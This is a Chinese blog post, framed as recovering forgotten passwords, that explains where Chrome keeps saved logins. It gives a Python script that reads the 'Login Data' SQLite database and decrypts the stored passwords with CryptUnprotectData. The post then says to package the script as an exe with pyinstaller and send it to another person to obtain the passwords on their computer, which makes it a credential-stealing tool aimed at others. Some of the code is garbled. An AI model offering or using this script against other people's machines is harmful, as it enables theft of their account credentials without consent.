忘记网站上的密码时怎么办?用Python如何快速帮你找回?

前言

本文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理。

现如今浏览器可谓是五花八门,火狐、UC、360、QQ 这些浏览器不论美观还是所谓的安全方面都做的很符合我们需求。但如果你的工作与 IT 挂钩,无疑 Chrome 将是很多朋友的首选。当然这篇文章并不是要介绍 Chrome 浏览器的使用,首先我要讲的是 Chrome 浏览器的密码存储机制。

1.查看 Chrome 存储的密码表单

点击 Chrome 浏览器右上角,进入设置->高级->管理密码(根据浏览器版本不同,可能存在部分差异),亦或者在 Chrome 浏览器中输入 chrome://settings/passwords 你会看到很多已保存过的密码表单信息,当然如果你要查看密码详情,就要输入电脑的系统管理员密码,看到这里是不是觉得很简单?但如果我们能像电影里的黑客一样瞬间拿到其他电脑的密码岂不是更有趣?

2 . SQLite 在哪,又该怎么查询?

那么, Chrome 的密码是以什么方式进行存储的呢?答案就是用 “SQLite” 。首先,进入我的电脑,地址栏中输入以下代码,进入 app 的数据存储路径:

C:\Users\Administrator\AppData\Local

之后进入 chrome 浏览器的密码数据库统一地址为:

Google\Chrome\User Data\Default\Login Data

3.查看 Chrome 浏览器存储的密码

拿到了 SQLite 数据库文件,我们随便找个 sqlite 工具,就能打开这个数据库了!

打开数据库,我们看到有三张表:logins 、meta、 stats,其中 logins 中就存储着你保存的网址、用户名、密码数据,分别是: signon_realm,username_value,password_value,但问题来了 password_value 的字段看着是空的,因为那里被加密了。

CryptUnprotectData 数据可以在 win32crypt 中找到,要使用该模块,需要以下代码进行安装:

pip install pywin32

4.准备工作做好后,就开始代码环节吧~


在学习过程中有什么不懂得可以加我的
python学习qun,855408893
群里有不错的学习视频教程、开发工具与电子书籍。  
与你分享python企业当下人才需求及怎么从零基础学习好python,和学习什么
import os import shutil import sqlite3 import win32crypt

db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data')

tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file') print(tmp_file) if os.path.exists(tmp_file):
   os.remove(tmp_file)
shutil.copyfile(db_file_path, tmp_file)

conn = sqlite3.connect(tmp_file) for row in conn.execute('select signon_realm,username_value,password_value from logins'):
    ret = win32crypt.CryptUnprotectData(row[2], None, None, N one, 0) print('网站:%-50s,用户名:%-20s,密码:%s' % (row[0][:50], row[1], ret[1].decode('gbk')))

conn.close()
os.remove(tmp_file)

通过解密,我们获取到了 Chrome 浏览器保存的用户名密码,然后保存至文本。

之后我们只需要使用 pyinstaller -F xxx.py ,将代码打包成 exe 发给对方,就可以在他的电脑上获取密码了!虽然这个伪黑客很简单甚至有些鸡肋,但往往在一些事情上就是因为自身的大意而导致数据的泄露,在这里也要加强自身保密意识!Chrome 浏览器保存密码虽然很爽,但记在脑子里还是最安全哟

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值